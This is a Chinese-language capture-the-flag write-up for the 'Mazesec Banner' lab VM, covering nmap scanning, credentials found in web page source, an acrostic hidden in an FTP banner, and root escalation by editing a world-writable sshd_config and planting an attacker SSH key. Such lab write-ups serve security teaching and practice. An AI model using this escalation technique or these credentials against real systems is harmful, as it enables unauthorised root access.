Mazesec_Banner

靶机来源:QQ群-660930334

难度:Baby

思维导图: img

一、信息收集

1、主机探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~]
└─# nmap -sn 192.168.2.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-09 16:57 +0800
Nmap scan report for 192.168.2.1
Host is up (0.00056s latency).
MAC Address: 0A:00:27:00:00:06 (Unknown)
Nmap scan report for 192.168.2.2
Host is up (0.00039s latency).
MAC Address: 08:00:27:3A:E9:0C (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.18
Host is up (0.00049s latency).
MAC Address: 08:00:27:74:12:A6 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 7.59 seconds

靶机IP:192.168.2.18

2、端口扫描

1.全端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~]
└─# nmap --min-rate 10000 -p- 192.168.2.18
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-09 16:58 +0800
Nmap scan report for 192.168.2.18
Host is up (0.00059s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
8080/tcp open http-proxy
MAC Address: 08:00:27:74:12:A6 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 45.78 seconds

开放端口:21、22、8080

2.详细信息扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(root㉿kali)-[~]
└─# nmap --min-rate 10000 -sT -sC -sV -O -p21,22,8080 192.168.2.18
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-09 16:59 +0800
Nmap scan report for 192.168.2.18
Host is up (0.00081s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
8080/tcp open http Werkzeug httpd 3.1.6 (Python 3.9.2)
|_http-server-header: Werkzeug/3.1.6 Python/3.9.2
|_http-title: \xE7\xBD\x91\xE7\xBB\x9C\xE5\xAE\x89\xE5\x85\xA8\xE7\x9F\xA5\xE8\xAF\x86\xE6\x8C\x91\xE6\x88\x98
MAC Address: 08:00:27:74:12:A6 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.46 seconds```

3.udp扫描

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# nmap -sU --top-ports 100 192.168.2.18
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-09 16:59 +0800
Nmap scan report for 192.168.2.18
Host is up (0.00085s latency).
All 100 scanned ports on 192.168.2.18 are in ignored states.
Not shown: 58 closed udp ports (port-unreach), 42 open|filtered udp ports (no-response)
MAC Address: 08:00:27:74:12:A6 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 58.10 seconds

二、WEB渗透

1、8080端口

访问8080端口,发现是一个网络安全知识挑战 img

需要获取到1000分才可以获取到flag

但是经过查看源码,发现里面存在着flag:111:banner img

三、FTP-Banner

连接ftp服务,发现需要账号和密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root㉿kali)-[/tmp]
└─# ftp 192.168.2.18
Connected to 192.168.2.18.
220-Elephants : Mice
220- / _ )`.
220- / _ )^ )`. .----.
220- ( _, ' \ ^-)"'' \ \
220- | | | | \
220- | | | | |
220- / \ /----' \ ( \ (
220- < ,"|| \ \ \ \
220- \\\\ ( ) ) ) ) )
220- || \ | | / /
220- || \ | |-'
220- | |
220-
220- | |
220-
220-
220-Carefully observe the changes in the information above.
220
Name (192.168.2.18:root):

同时提示我们仔细观察上面的信息变化

使用获取到的凭证:111:banner,成功登录到ftp服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Name (192.168.2.18:root): 111
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||37183|)
150 Here comes the directory listing.
drwxr-xr-x 2 1001 1001 4096 Mar 18 03:08 .
drwxr-xr-x 2 1001 1001 4096 Mar 18 03:08 ..
-rw-r--r-- 1 1001 1001 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 1001 1001 3526 Apr 18 2019 .bashrc
-rw-r--r-- 1 1001 1001 807 Apr 18 2019 .profile
-rw-r--r-- 1 1001 1001 31 Mar 18 03:08 hint
226 Directory send OK.

下载hint到本地进行查看

1
2
3
┌──(root㉿kali)-[/tmp]
└─# cat hint
你知道什么是banner吗?

根据提升信息,观察ftp的banner信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Wild
Elepants
Love

Clever
Owls
Make

Elepante
:
Mice

Amazing
Zebras
Eat

Snakes
Eat
Crickets

由于首字母都是大写,尝试进行拼接:WELCOME:MAZESEC

四、获取welcome权限

最后使用凭证:welcome:mazesec成功进行登录

1
2
3
4
5
┌──(root㉿kali)-[~]
└─# ssh welcome@192.168.2.18

welcome@Banner:~$ id
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)

五、权限提升

查看sudo -l

1
2
3
4
5
6
welcome@Banner:~$ sudo -l
Matching Defaults entries for welcome on Banner:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on Banner:
(root) NOPASSWD: /sbin/service sshd restart

发现可以以root权限执行ssh服务重启

查看 sshd 的配置文件是否可以进行修改

1
2
welcome@Banner:~$ ls -ld /etc/ssh/sshd_config
-rw-rw-rw- 1 root root 3275 Mar 18 04:22 /etc/ssh/sshd_config

发现具有写的权限 修改/etc/ssh/sshd_config配置文件,将公钥文件指向到/home目录下 img

创建公钥,将公钥写入到authorized_keys

1
2
welcome@Banner:~$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDEIpGHfK6EgU4ngJCfL9Kwjyuk1altx/4kEBeqSg5cJ root@kali" > authorized_keys
welcome@Banner:~$ chmod 600 authorized_keys

进行连接,成功获取到root权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[~/.ssh]
└─# ssh root@192.168.2.18
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Linux Banner 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Mar 18 04:15:30 2026 from 192.168.137.102
-bash: warning: setlocale: LC_ALL: cannot change locale (zh_CN.UTF-8)
root@Banner:~# id
uid=0(root) gid=0(root) groups=0(root)

六、查看FLAG

1
2
3
root@Banner:~# cat /root/root.txt /home/welcome/user.txt 
flag{root-fc7fb423367bb7fccb411758f06f857a}
flag{user-509fe78ad30da7792f576cd3a91a57fc}

Mazesec_Banner
http://miao-sec.github.io/Maze-sec/Mazesec-Banner/
作者
Miao
发布于
2026年4月10日
许可协议
BY-MIAO